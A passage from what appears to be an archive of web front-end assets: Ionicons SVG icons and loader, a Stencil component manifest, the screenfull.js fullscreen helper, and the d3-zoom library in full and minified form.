2-2.5 4.2-4.8 6.7-6.8 6.8-5.4 15.5-8.6 24.8-8.6 10.6 0 20.2 4.1 27.4 10.9 1.7 1.6 6.7 4.5 13.2 5.1 4.5.4 6.1.3 8.2 0 10.3-1.3 14.4-4.7 16.4-6.6 5.8-5.8 13.8-9.4 22.6-9.4 17.6 0 32 14.4 32 32 .2 3.1-.3 6.2-1.2 9.1-2.5-5.5-8.1-9.2-14.6-9.2h-55s-8.7-.7-8.7 8.2c0 8.9-2.9 17.1-7.8 23.7-7.3 9.9-19.1 16.4-32.4 16.4-14.9 0-27.9-8.1-34.8-20.2-1.6-2.7-2.8-5.6-3.7-8.6-.1-.6-.3-1.1-.4-1.6-2-5.9-7.5-10.2-14.1-10.2-3.9 0-7.5 1.5-10.2 4l-.1.1c-2.4 2.1-5.3 3.7-8.4 4.7-2.4.8-5 1.2-7.7 1.2-7.5 0-14.7-4-18.8-8.6-10-11.4-23.7-6.8-29.7-5.5-6 1.3-12.2 11.7-12.2 11.7-1.1 2.1-2.4 4-3.9 5.8-6 6.7-15.2 11-24.2 11zM432 304c0 17.7-6.3 24-24 24h-8V184h8c17.7 0 24 6.3 24 24v96z"/></svg>collection/icon/svg/md-git-pull-request.svg000064400000001333151701353760015000 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 376.6V206.8c0-46.4-3.7-70.8-22.1-94C374 87.7 348.9 77 310 77h-22V16l-96 96 96 96v-65h22c24.6 0 29 3.6 33.8 9.6 5.5 6.9 8.2 19.1 8.2 54.2v169.8c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4zM384 472c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zM128 48c-35.3 0-64 28.7-64 64 0 23.7 12.9 44.3 32 55.4v209.2c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-23.7-12.9-44.3-32-55.4V167.4c19.1-11.1 32-31.7 32-55.4 0-35.3-28.7-64-64-64zm0 424c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zm0-320c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>collection/icon/svg/ios-shirt.svg000064400000001063151701353760013100 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M461.8 181.7c1.3-1.6 1.2-3.8-.2-5.3-11.5-12.1-61.3-63.7-89.1-83.7C352 78 332 64 310 64s-22 8-54 8-32-8-54-8-42 14-62.5 28.7c-27.8 20-77.6 71.6-89.1 83.7-1.4 1.5-1.5 3.7-.2 5.3l61.7 64c2.4 2.9 7.1 1.2 7.1-2.5v-44.9c0-4.5 3.2-8.5 7.6-9.2 5.6-.9 10.4 3.5 10.4 8.9v242c0 4.4 3.6 8 8 8h222c4.4 0 8-3.6 8-8V198.3c0-4.5 3.2-8.5 7.6-9.2 5.6-.9 10.4 3.5 10.4 8.9v45.2c0 3.8 4.7 5.4 7.1 2.5l61.7-64zM256 143c-30 0-54-12.7-54-36 0-30 24-10.7 54-10.7 29.8 0 54-19.3 54 10.7 0 23.3-24.2 36-54 36z"/></svg>collection/icon/svg/md-snow.svg000064400000001222151701353760012540 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M461.4 298.5l-8.3-30.9-88 23.6-60.4-34.9 60.4-34.9 88 23.6 8.3-30.9-57.1-15.3 57.7-33.3-24-41.5-56.6 32.7 15.3-57.1-30.9-8.3-23.6 88-62.2 35.9v-71.1l64.5-64.4-22.7-22.6L280 98.9V32h-48v65.6l-41.7-41.7-22.6 22.6 64.3 64.4v71.4l-60.7-35-23.6-88-30.9 8.3 15.3 57.1-57.7-33.4-24 41.6 56.7 32.7L50 212.9l8.3 30.9 87.9-23.6 62.6 36.1-62.6 36.2-87.9-23.6-8.3 30.9 57.1 15.3-56.7 32.7 24 41.5 57.7-33.3-15.3 57 30.9 8.3 23.6-87.9 60.7-35.1v70.9l-64.3 64.4 22.6 22.6 41.7-41.8V480h48v-66.8l41.9 41.7 22.5-22.6L280 368v-70.6l62.2 36 23.6 87.9 30.9-8.3-15.3-57 56.6 32.7 24-41.6-57.7-33.3z"/></svg>collection/icon/svg/logo-npm.svg000064400000000713151701353760012710 0ustar00<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 512 512" xml:space="preserve"><style>.st0{fill:#010101}</style><path class="st0" d="M227.6 213.1H256v57.1h-28.4z"/><path class="st0" d="M0 156v171.4h142.2V356H256v-28.6h256V156H0zm142.2 142.9h-28.4v-85.7H85.3v85.7H28.4V184.6h113.8v114.3zm142.2 0h-56.9v28.6h-56.9V184.6h113.8v114.3zm199.2 0h-28.4v-85.7h-28.4v85.7h-28.4v-85.7H370v85.7h-56.9V184.6h170.7v114.3z"/></svg>collection/icon/svg/ios-checkbox-outline.svg000064400000001032151701353760015206 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 64H96c-17.7 0-32 14.3-32 32v320c0 17.7 14.3 32 32 32h320c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32zm4 348c0 4.4-3.6 8-8 8H100c-4.4 0-8-3.6-8-8V100c0-4.4 3.6-8 8-8h312c4.4 0 8 3.6 8 8v312z"/><path d="M363.6 192.9L346 174.8c-.7-.8-1.8-1.2-2.8-1.2-1.1 0-2.1.4-2.8 1.2l-122 122.9-44.4-44.4c-.8-.8-1.8-1.2-2.8-1.2-1 0-2 .4-2.8 1.2l-17.8 17.8c-1.6 1.6-1.6 4.1 0 5.7l56 56c3.6 3.6 8 5.7 11.7 5.7 5.3 0 9.9-3.9 11.6-5.5h.1l133.7-134.4c1.4-1.7 1.4-4.2-.1-5.7z"/></svg>collection/collection-manifest.json000064400000004532151701353760013545 0ustar00{
  "components": [
    {
      "tag": "ion-icon",
      "dependencies": [],
      "componentClass": "Icon",
      "componentPath": "icon/icon.js",
      "styles": {
        "$": {
          "stylePaths": [
            "icon/icon.css"
          ]
        }
      },
      "assetPaths": [
        "icon/svg"
      ],
      "props": [
        {
          "name": "ariaLabel",
          "type": "String",
          "mutable": true,
          "reflectToAttr": true,
          "attr": "aria-label"
        },
        {
          "name": "color",
          "type": "String",
          "attr": "color"
        },
        {
          "name": "icon",
          "type": "String",
          "attr": "icon",
          "watch": [
            "loadIcon"
          ]
        },
        {
          "name": "ios",
          "type": "String",
          "attr": "ios"
        },
        {
          "name": "lazy",
          "type": "Boolean",
          "attr": "lazy"
        },
        {
          "name": "md",
          "type": "String",
          "attr": "md"
        },
        {
          "name": "mode",
          "type": "String",
          "attr": "mode"
        },
        {
          "name": "name",
          "type": "String",
          "attr": "name",
          "watch": [
            "loadIcon"
          ]
        },
        {
          "name": "size",
          "type": "String",
          "attr": "size"
        },
        {
          "name": "src",
          "type": "String",
          "attr": "src",
          "watch": [
            "loadIcon"
          ]
        }
      ],
      "states": [
        {
          "name": "isVisible"
        },
        {
          "name": "svgContent"
        }
      ],
      "context": [
        {
          "name": "isServer",
          "id": "isServer"
        },
        {
          "name": "resourcesUrl",
          "id": "resourcesUrl"
        },
        {
          "name": "doc",
          "id": "document"
        },
        {
          "name": "win",
          "id": "window"
        }
      ],
      "hostElement": {
        "name": "el"
      },
      "shadow": true
    }
  ],
  "collections": [],
  "compiler": {
    "name": "@stencil/core",
    "version": "0.14.0-4",
    "typescriptVersion": "2.9.2"
  },
  "bundles": []
}collection/interface.js000064400000000000151701353760011173 0ustar00ionicons.js000064400000004144151701353760006736 0ustar00/*!
 * Built with http://stenciljs.com
 * 2018-09-14T16:08:06
 */
!function(e,t,n,r,i,o,s,c,a,l,u,d,p,m){for((u=e.ionicons=e.ionicons||{}).components=a,(p=a.map(function(e){return e[0]})).length&&((d=t.createElement("style")).innerHTML=p.join()+"{visibility:hidden}.hydrated{visibility:inherit}",d.setAttribute("data-styles",""),p=t.head.querySelector("meta[charset]"),t.head.insertBefore(d,p?p.nextSibling:t.head.firstChild)),function(e,t,n){(e["s-apps"]=e["s-apps"]||[]).push("ionicons"),n.componentOnReady||(n.componentOnReady=function(){var t=this;function n(n){if(t.nodeName.indexOf("-")>0){for(var r=e["s-apps"],i=0,o=0;o<r.length;o++)if(e[r[o]].componentOnReady){if(e[r[o]].componentOnReady(t,n))return;i++}if(i<r.length)return void(e["s-cr"]=e["s-cr"]||[]).push([t,n])}n(null)}return e.Promise?new e.Promise(n):{then:n}})}(e,0,l),i=i||u.resourcesUrl,d=(p=t.querySelectorAll("script")).length-1;d>=0&&!(m=p[d]).src&&!m.hasAttribute("data-resources-url");d--);p=m.getAttribute("data-resources-url"),!i&&p&&(i=p),!i&&m.src&&(i=(p=m.src.split("/").slice(0,-1)).join("/")+(p.length?"/":"")+"ionicons/"),d=t.createElement("script"),function(e,t,n,r){return!(t.search.indexOf("core=esm")>0)&&(!(!(t.search.indexOf("core=es5")>0||"file:"===t.protocol)&&e.customElements&&e.customElements.define&&e.fetch&&e.CSS&&e.CSS.supports&&e.CSS.supports("color","var(--c)")&&"noModule"in n)||function(e){try{return new Function('import("")'),!1}catch(e){}return!0}())}(e,e.location,d)?d.src=i+"ionicons.z9r2cndl.js":(d.src=i+"ionicons.uhp57gzi.js",d.setAttribute("type","module"),d.setAttribute("crossorigin",!0)),d.setAttribute("data-resources-url",i),d.setAttribute("data-namespace","ionicons"),t.head.appendChild(d)}(window,document,0,0,0,0,0,0,[["ion-icon","esckjbl8",1,[["ariaLabel",2,1,"aria-label",2],["color",1,0,1,2],["doc",4,0,0,0,"document"],["el",64],["icon",1,0,1,2],["ios",1,0,1,2],["isServer",4,0,0,0,"isServer"],["isVisible",16],["lazy",1,0,1,4],["md",1,0,1,2],["mode",1,0,1,2],["name",1,0,1,2],["resourcesUrl",4,0,0,0,"resourcesUrl"],["size",1,0,1,2],["src",1,0,1,2],["svgContent",16],["win",4,0,0,0,"window"]],1]],HTMLElement.prototype);screenfull.js000064400000007164151701362750007263 0ustar00/*!
* screenfull
* v3.3.3 - 2018-09-04
* (c) Sindre Sorhus; MIT License
*/
(function () {
	'use strict';

	var document = typeof window !== 'undefined' && typeof window.document !== 'undefined' ? window.document : {};
	var isCommonjs = typeof module !== 'undefined' && module.exports;
	var keyboardAllowed = typeof Element !== 'undefined' && 'ALLOW_KEYBOARD_INPUT' in Element;

	var fn = (function () {
		var val;

		var fnMap = [
			[
				'requestFullscreen',
				'exitFullscreen',
				'fullscreenElement',
				'fullscreenEnabled',
				'fullscreenchange',
				'fullscreenerror'
			],
			// New WebKit
			[
				'webkitRequestFullscreen',
				'webkitExitFullscreen',
				'webkitFullscreenElement',
				'webkitFullscreenEnabled',
				'webkitfullscreenchange',
				'webkitfullscreenerror'

			],
			// Old WebKit (Safari 5.1)
			[
				'webkitRequestFullScreen',
				'webkitCancelFullScreen',
				'webkitCurrentFullScreenElement',
				'webkitCancelFullScreen',
				'webkitfullscreenchange',
				'webkitfullscreenerror'

			],
			[
				'mozRequestFullScreen',
				'mozCancelFullScreen',
				'mozFullScreenElement',
				'mozFullScreenEnabled',
				'mozfullscreenchange',
				'mozfullscreenerror'
			],
			[
				'msRequestFullscreen',
				'msExitFullscreen',
				'msFullscreenElement',
				'msFullscreenEnabled',
				'MSFullscreenChange',
				'MSFullscreenError'
			]
		];

		var i = 0;
		var l = fnMap.length;
		var ret = {};

		for (; i < l; i++) {
			val = fnMap[i];
			if (val && val[1] in document) {
				for (i = 0; i < val.length; i++) {
					ret[fnMap[0][i]] = val[i];
				}
				return ret;
			}
		}

		return false;
	})();

	var eventNameMap = {
		change: fn.fullscreenchange,
		error: fn.fullscreenerror
	};

	var screenfull = {
		request: function (elem) {
			var request = fn.requestFullscreen;

			elem = elem || document.documentElement;

			// Work around Safari 5.1 bug: reports support for
			// keyboard in fullscreen even though it doesn't.
			// Browser sniffing, since the alternative with
			// setTimeout is even worse.
			if (/ Version\/5\.1(?:\.\d+)? Safari\//.test(navigator.userAgent)) {
				elem[request]();
			} else {
				elem[request](keyboardAllowed ? Element.ALLOW_KEYBOARD_INPUT : {});
			}
		},
		exit: function () {
			document[fn.exitFullscreen]();
		},
		toggle: function (elem) {
			if (this.isFullscreen) {
				this.exit();
			} else {
				this.request(elem);
			}
		},
		onchange: function (callback) {
			this.on('change', callback);
		},
		onerror: function (callback) {
			this.on('error', callback);
		},
		on: function (event, callback) {
			var eventName = eventNameMap[event];
			if (eventName) {
				document.addEventListener(eventName, callback, false);
			}
		},
		off: function (event, callback) {
			var eventName = eventNameMap[event];
			if (eventName) {
				document.removeEventListener(eventName, callback, false);
			}
		},
		raw: fn
	};

	if (!fn) {
		if (isCommonjs) {
			module.exports = false;
		} else {
			window.screenfull = false;
		}

		return;
	}

	Object.defineProperties(screenfull, {
		isFullscreen: {
			get: function () {
				return Boolean(document[fn.fullscreenElement]);
			}
		},
		element: {
			enumerable: true,
			get: function () {
				return document[fn.fullscreenElement];
			}
		},
		enabled: {
			enumerable: true,
			get: function () {
				// Coerce to boolean in case of old WebKit
				return Boolean(document[fn.fullscreenEnabled]);
			}
		}
	});

	if (isCommonjs) {
		module.exports = screenfull;
	} else {
		window.screenfull = screenfull;
	}
})();
d3-zoom.js000064400000041446151701405020006376 0ustar00// https://d3js.org/d3-zoom/ v1.7.3 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-selection'), require('d3-dispatch'), require('d3-drag'), require('d3-interpolate'), require('d3-transition')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-selection', 'd3-dispatch', 'd3-drag', 'd3-interpolate', 'd3-transition'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3,global.d3,global.d3,global.d3,global.d3));
}(this, (function (exports,d3Selection,d3Dispatch,d3Drag,d3Interpolate,d3Transition) { 'use strict';

function constant(x) {
  return function() {
    return x;
  };
}

function ZoomEvent(target, type, transform) {
  this.target = target;
  this.type = type;
  this.transform = transform;
}

function Transform(k, x, y) {
  this.k = k;
  this.x = x;
  this.y = y;
}

Transform.prototype = {
  constructor: Transform,
  scale: function(k) {
    return k === 1 ? this : new Transform(this.k * k, this.x, this.y);
  },
  translate: function(x, y) {
    return x === 0 & y === 0 ? this : new Transform(this.k, this.x + this.k * x, this.y + this.k * y);
  },
  apply: function(point) {
    return [point[0] * this.k + this.x, point[1] * this.k + this.y];
  },
  applyX: function(x) {
    return x * this.k + this.x;
  },
  applyY: function(y) {
    return y * this.k + this.y;
  },
  invert: function(location) {
    return [(location[0] - this.x) / this.k, (location[1] - this.y) / this.k];
  },
  invertX: function(x) {
    return (x - this.x) / this.k;
  },
  invertY: function(y) {
    return (y - this.y) / this.k;
  },
  rescaleX: function(x) {
    return x.copy().domain(x.range().map(this.invertX, this).map(x.invert, x));
  },
  rescaleY: function(y) {
    return y.copy().domain(y.range().map(this.invertY, this).map(y.invert, y));
  },
  toString: function() {
    return "translate(" + this.x + "," + this.y + ") scale(" + this.k + ")";
  }
};

var identity = new Transform(1, 0, 0);

transform.prototype = Transform.prototype;

function transform(node) {
  return node.__zoom || identity;
}

function nopropagation() {
  d3Selection.event.stopImmediatePropagation();
}

function noevent() {
  d3Selection.event.preventDefault();
  d3Selection.event.stopImmediatePropagation();
}

// Ignore right-click, since that should open the context menu.
function defaultFilter() {
  return !d3Selection.event.button;
}

function defaultExtent() {
  var e = this, w, h;
  if (e instanceof SVGElement) {
    e = e.ownerSVGElement || e;
    w = e.width.baseVal.value;
    h = e.height.baseVal.value;
  } else {
    w = e.clientWidth;
    h = e.clientHeight;
  }
  return [[0, 0], [w, h]];
}

function defaultTransform() {
  return this.__zoom || identity;
}

function defaultWheelDelta() {
  return -d3Selection.event.deltaY * (d3Selection.event.deltaMode ? 120 : 1) / 500;
}

function defaultTouchable() {
  return "ontouchstart" in this;
}

function defaultConstrain(transform$$1, extent, translateExtent) {
  var dx0 = transform$$1.invertX(extent[0][0]) - translateExtent[0][0],
      dx1 = transform$$1.invertX(extent[1][0]) - translateExtent[1][0],
      dy0 = transform$$1.invertY(extent[0][1]) - translateExtent[0][1],
      dy1 = transform$$1.invertY(extent[1][1]) - translateExtent[1][1];
  return transform$$1.translate(
    dx1 > dx0 ? (dx0 + dx1) / 2 : Math.min(0, dx0) || Math.max(0, dx1),
    dy1 > dy0 ? (dy0 + dy1) / 2 : Math.min(0, dy0) || Math.max(0, dy1)
  );
}

function zoom() {
  var filter = defaultFilter,
      extent = defaultExtent,
      constrain = defaultConstrain,
      wheelDelta = defaultWheelDelta,
      touchable = defaultTouchable,
      scaleExtent = [0, Infinity],
      translateExtent = [[-Infinity, -Infinity], [Infinity, Infinity]],
      duration = 250,
      interpolate = d3Interpolate.interpolateZoom,
      gestures = [],
      listeners = d3Dispatch.dispatch("start", "zoom", "end"),
      touchstarting,
      touchending,
      touchDelay = 500,
      wheelDelay = 150,
      clickDistance2 = 0;

  function zoom(selection) {
    selection
        .property("__zoom", defaultTransform)
        .on("wheel.zoom", wheeled)
        .on("mousedown.zoom", mousedowned)
        .on("dblclick.zoom", dblclicked)
      .filter(touchable)
        .on("touchstart.zoom", touchstarted)
        .on("touchmove.zoom", touchmoved)
        .on("touchend.zoom touchcancel.zoom", touchended)
        .style("touch-action", "none")
        .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)");
  }

  zoom.transform = function(collection, transform$$1) {
    var selection = collection.selection ? collection.selection() : collection;
    selection.property("__zoom", defaultTransform);
    if (collection !== selection) {
      schedule(collection, transform$$1);
    } else {
      selection.interrupt().each(function() {
        gesture(this, arguments)
            .start()
            .zoom(null, typeof transform$$1 === "function" ? transform$$1.apply(this, arguments) : transform$$1)
            .end();
      });
    }
  };

  zoom.scaleBy = function(selection, k) {
    zoom.scaleTo(selection, function() {
      var k0 = this.__zoom.k,
          k1 = typeof k === "function" ? k.apply(this, arguments) : k;
      return k0 * k1;
    });
  };

  zoom.scaleTo = function(selection, k) {
    zoom.transform(selection, function() {
      var e = extent.apply(this, arguments),
          t0 = this.__zoom,
          p0 = centroid(e),
          p1 = t0.invert(p0),
          k1 = typeof k === "function" ? k.apply(this, arguments) : k;
      return constrain(translate(scale(t0, k1), p0, p1), e, translateExtent);
    });
  };

  zoom.translateBy = function(selection, x, y) {
    zoom.transform(selection, function() {
      return constrain(this.__zoom.translate(
        typeof x === "function" ? x.apply(this, arguments) : x,
        typeof y === "function" ? y.apply(this, arguments) : y
      ), extent.apply(this, arguments), translateExtent);
    });
  };

  zoom.translateTo = function(selection, x, y) {
    zoom.transform(selection, function() {
      var e = extent.apply(this, arguments),
          t = this.__zoom,
          p = centroid(e);
      return constrain(identity.translate(p[0], p[1]).scale(t.k).translate(
        typeof x === "function" ? -x.apply(this, arguments) : -x,
        typeof y === "function" ? -y.apply(this, arguments) : -y
      ), e, translateExtent);
    });
  };

  function scale(transform$$1, k) {
    k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], k));
    return k === transform$$1.k ? transform$$1 : new Transform(k, transform$$1.x, transform$$1.y);
  }

  function translate(transform$$1, p0, p1) {
    var x = p0[0] - p1[0] * transform$$1.k, y = p0[1] - p1[1] * transform$$1.k;
    return x === transform$$1.x && y === transform$$1.y ? transform$$1 : new Transform(transform$$1.k, x, y);
  }

  function centroid(extent) {
    return [(+extent[0][0] + +extent[1][0]) / 2, (+extent[0][1] + +extent[1][1]) / 2];
  }

  function schedule(transition, transform$$1, center) {
    transition
        .on("start.zoom", function() { gesture(this, arguments).start(); })
        .on("interrupt.zoom end.zoom", function() { gesture(this, arguments).end(); })
        .tween("zoom", function() {
          var that = this,
              args = arguments,
              g = gesture(that, args),
              e = extent.apply(that, args),
              p = center || centroid(e),
              w = Math.max(e[1][0] - e[0][0], e[1][1] - e[0][1]),
              a = that.__zoom,
              b = typeof transform$$1 === "function" ? transform$$1.apply(that, args) : transform$$1,
              i = interpolate(a.invert(p).concat(w / a.k), b.invert(p).concat(w / b.k));
          return function(t) {
            if (t === 1) t = b; // Avoid rounding error on end.
            else { var l = i(t), k = w / l[2]; t = new Transform(k, p[0] - l[0] * k, p[1] - l[1] * k); }
            g.zoom(null, t);
          };
        });
  }

  function gesture(that, args) {
    for (var i = 0, n = gestures.length, g; i < n; ++i) {
      if ((g = gestures[i]).that === that) {
        return g;
      }
    }
    return new Gesture(that, args);
  }

  function Gesture(that, args) {
    this.that = that;
    this.args = args;
    this.index = -1;
    this.active = 0;
    this.extent = extent.apply(that, args);
  }

  Gesture.prototype = {
    start: function() {
      if (++this.active === 1) {
        this.index = gestures.push(this) - 1;
        this.emit("start");
      }
      return this;
    },
    zoom: function(key, transform$$1) {
      if (this.mouse && key !== "mouse") this.mouse[1] = transform$$1.invert(this.mouse[0]);
      if (this.touch0 && key !== "touch") this.touch0[1] = transform$$1.invert(this.touch0[0]);
      if (this.touch1 && key !== "touch") this.touch1[1] = transform$$1.invert(this.touch1[0]);
      this.that.__zoom = transform$$1;
      this.emit("zoom");
      return this;
    },
    end: function() {
      if (--this.active === 0) {
        gestures.splice(this.index, 1);
        this.index = -1;
        this.emit("end");
      }
      return this;
    },
    emit: function(type) {
      d3Selection.customEvent(new ZoomEvent(zoom, type, this.that.__zoom), listeners.apply, listeners, [type, this.that, this.args]);
    }
  };

  function wheeled() {
    if (!filter.apply(this, arguments)) return;
    var g = gesture(this, arguments),
        t = this.__zoom,
        k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], t.k * Math.pow(2, wheelDelta.apply(this, arguments)))),
        p = d3Selection.mouse(this);

    // If the mouse is in the same location as before, reuse it.
    // If there were recent wheel events, reset the wheel idle timeout.
    if (g.wheel) {
      if (g.mouse[0][0] !== p[0] || g.mouse[0][1] !== p[1]) {
        g.mouse[1] = t.invert(g.mouse[0] = p);
      }
      clearTimeout(g.wheel);
    }

    // If this wheel event won’t trigger a transform change, ignore it.
    else if (t.k === k) return;

    // Otherwise, capture the mouse point and location at the start.
    else {
      g.mouse = [p, t.invert(p)];
      d3Transition.interrupt(this);
      g.start();
    }

    noevent();
    g.wheel = setTimeout(wheelidled, wheelDelay);
    g.zoom("mouse", constrain(translate(scale(t, k), g.mouse[0], g.mouse[1]), g.extent, translateExtent));

    function wheelidled() {
      g.wheel = null;
      g.end();
    }
  }

  function mousedowned() {
    if (touchending || !filter.apply(this, arguments)) return;
    var g = gesture(this, arguments),
        v = d3Selection.select(d3Selection.event.view).on("mousemove.zoom", mousemoved, true).on("mouseup.zoom", mouseupped, true),
        p = d3Selection.mouse(this),
        x0 = d3Selection.event.clientX,
        y0 = d3Selection.event.clientY;

    d3Drag.dragDisable(d3Selection.event.view);
    nopropagation();
    g.mouse = [p, this.__zoom.invert(p)];
    d3Transition.interrupt(this);
    g.start();

    function mousemoved() {
      noevent();
      if (!g.moved) {
        var dx = d3Selection.event.clientX - x0, dy = d3Selection.event.clientY - y0;
        g.moved = dx * dx + dy * dy > clickDistance2;
      }
      g.zoom("mouse", constrain(translate(g.that.__zoom, g.mouse[0] = d3Selection.mouse(g.that), g.mouse[1]), g.extent, translateExtent));
    }

    function mouseupped() {
      v.on("mousemove.zoom mouseup.zoom", null);
      d3Drag.dragEnable(d3Selection.event.view, g.moved);
      noevent();
      g.end();
    }
  }

  function dblclicked() {
    if (!filter.apply(this, arguments)) return;
    var t0 = this.__zoom,
        p0 = d3Selection.mouse(this),
        p1 = t0.invert(p0),
        k1 = t0.k * (d3Selection.event.shiftKey ? 0.5 : 2),
        t1 = constrain(translate(scale(t0, k1), p0, p1), extent.apply(this, arguments), translateExtent);

    noevent();
    if (duration > 0) d3Selection.select(this).transition().duration(duration).call(schedule, t1, p0);
    else d3Selection.select(this).call(zoom.transform, t1);
  }

  function touchstarted() {
    if (!filter.apply(this, arguments)) return;
    var g = gesture(this, arguments),
        touches = d3Selection.event.changedTouches,
        started,
        n = touches.length, i, t, p;

    nopropagation();
    for (i = 0; i < n; ++i) {
      t = touches[i], p = d3Selection.touch(this, touches, t.identifier);
      p = [p, this.__zoom.invert(p), t.identifier];
      if (!g.touch0) g.touch0 = p, started = true;
      else if (!g.touch1) g.touch1 = p;
    }

    // If this is a dbltap, reroute to the (optional) dblclick.zoom handler.
    if (touchstarting) {
      touchstarting = clearTimeout(touchstarting);
      if (!g.touch1) {
        g.end();
        p = d3Selection.select(this).on("dblclick.zoom");
        if (p) p.apply(this, arguments);
        return;
      }
    }

    if (started) {
      touchstarting = setTimeout(function() { touchstarting = null; }, touchDelay);
      d3Transition.interrupt(this);
      g.start();
    }
  }

  function touchmoved() {
    var g = gesture(this, arguments),
        touches = d3Selection.event.changedTouches,
        n = touches.length, i, t, p, l;

    noevent();
    if (touchstarting) touchstarting = clearTimeout(touchstarting);
    for (i = 0; i < n; ++i) {
      t = touches[i], p = d3Selection.touch(this, touches, t.identifier);
      if (g.touch0 && g.touch0[2] === t.identifier) g.touch0[0] = p;
      else if (g.touch1 && g.touch1[2] === t.identifier) g.touch1[0] = p;
    }
    t = g.that.__zoom;
    if (g.touch1) {
      var p0 = g.touch0[0], l0 = g.touch0[1],
          p1 = g.touch1[0], l1 = g.touch1[1],
          dp = (dp = p1[0] - p0[0]) * dp + (dp = p1[1] - p0[1]) * dp,
          dl = (dl = l1[0] - l0[0]) * dl + (dl = l1[1] - l0[1]) * dl;
      t = scale(t, Math.sqrt(dp / dl));
      p = [(p0[0] + p1[0]) / 2, (p0[1] + p1[1]) / 2];
      l = [(l0[0] + l1[0]) / 2, (l0[1] + l1[1]) / 2];
    }
    else if (g.touch0) p = g.touch0[0], l = g.touch0[1];
    else return;
    g.zoom("touch", constrain(translate(t, p, l), g.extent, translateExtent));
  }

  function touchended() {
    var g = gesture(this, arguments),
        touches = d3Selection.event.changedTouches,
        n = touches.length, i, t;

    nopropagation();
    if (touchending) clearTimeout(touchending);
    touchending = setTimeout(function() { touchending = null; }, touchDelay);
    for (i = 0; i < n; ++i) {
      t = touches[i];
      if (g.touch0 && g.touch0[2] === t.identifier) delete g.touch0;
      else if (g.touch1 && g.touch1[2] === t.identifier) delete g.touch1;
    }
    if (g.touch1 && !g.touch0) g.touch0 = g.touch1, delete g.touch1;
    if (g.touch0) g.touch0[1] = this.__zoom.invert(g.touch0[0]);
    else g.end();
  }

  zoom.wheelDelta = function(_) {
    return arguments.length ? (wheelDelta = typeof _ === "function" ? _ : constant(+_), zoom) : wheelDelta;
  };

  zoom.filter = function(_) {
    return arguments.length ? (filter = typeof _ === "function" ? _ : constant(!!_), zoom) : filter;
  };

  zoom.touchable = function(_) {
    return arguments.length ? (touchable = typeof _ === "function" ? _ : constant(!!_), zoom) : touchable;
  };

  zoom.extent = function(_) {
    return arguments.length ? (extent = typeof _ === "function" ? _ : constant([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), zoom) : extent;
  };

  zoom.scaleExtent = function(_) {
    return arguments.length ? (scaleExtent[0] = +_[0], scaleExtent[1] = +_[1], zoom) : [scaleExtent[0], scaleExtent[1]];
  };

  zoom.translateExtent = function(_) {
    return arguments.length ? (translateExtent[0][0] = +_[0][0], translateExtent[1][0] = +_[1][0], translateExtent[0][1] = +_[0][1], translateExtent[1][1] = +_[1][1], zoom) : [[translateExtent[0][0], translateExtent[0][1]], [translateExtent[1][0], translateExtent[1][1]]];
  };

  zoom.constrain = function(_) {
    return arguments.length ? (constrain = _, zoom) : constrain;
  };

  zoom.duration = function(_) {
    return arguments.length ? (duration = +_, zoom) : duration;
  };

  zoom.interpolate = function(_) {
    return arguments.length ? (interpolate = _, zoom) : interpolate;
  };

  zoom.on = function() {
    var value = listeners.on.apply(listeners, arguments);
    return value === listeners ? zoom : value;
  };

  zoom.clickDistance = function(_) {
    return arguments.length ? (clickDistance2 = (_ = +_) * _, zoom) : Math.sqrt(clickDistance2);
  };

  return zoom;
}

exports.zoom = zoom;
exports.zoomTransform = transform;
exports.zoomIdentity = identity;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-zoom.min.js000064400000021341151701405020007150 0ustar00// https://d3js.org/d3-zoom/ v1.7.3 Copyright 2018 Mike Bostock
!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports,require("d3-selection"),require("d3-dispatch"),require("d3-drag"),require("d3-interpolate"),require("d3-transition")):"function"==typeof define&&define.amd?define(["exports","d3-selection","d3-dispatch","d3-drag","d3-interpolate","d3-transition"],n):n(t.d3=t.d3||{},t.d3,t.d3,t.d3,t.d3,t.d3)}(this,function(t,n,e,o,i,r){"use strict";function u(t){return function(){return t}}function h(t,n,e){this.target=t,this.type=n,this.transform=e}function s(t,n,e){this.k=t,this.x=n,this.y=e}s.prototype={constructor:s,scale:function(t){return 1===t?this:new s(this.k*t,this.x,this.y)},translate:function(t,n){return 0===t&0===n?this:new s(this.k,this.x+this.k*t,this.y+this.k*n)},apply:function(t){return[t[0]*this.k+this.x,t[1]*this.k+this.y]},applyX:function(t){return t*this.k+this.x},applyY:function(t){return t*this.k+this.y},invert:function(t){return[(t[0]-this.x)/this.k,(t[1]-this.y)/this.k]},invertX:function(t){return(t-this.x)/this.k},invertY:function(t){return(t-this.y)/this.k},rescaleX:function(t){return t.copy().domain(t.range().map(this.invertX,this).map(t.invert,t))},rescaleY:function(t){return t.copy().domain(t.range().map(this.invertY,this).map(t.invert,t))},toString:function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"}};var c=new s(1,0,0);function a(t){return t.__zoom||c}function f(){n.event.stopImmediatePropagation()}function l(){n.event.preventDefault(),n.event.stopImmediatePropagation()}function m(){return!n.event.button}function p(){var t,n,e=this;return e instanceof 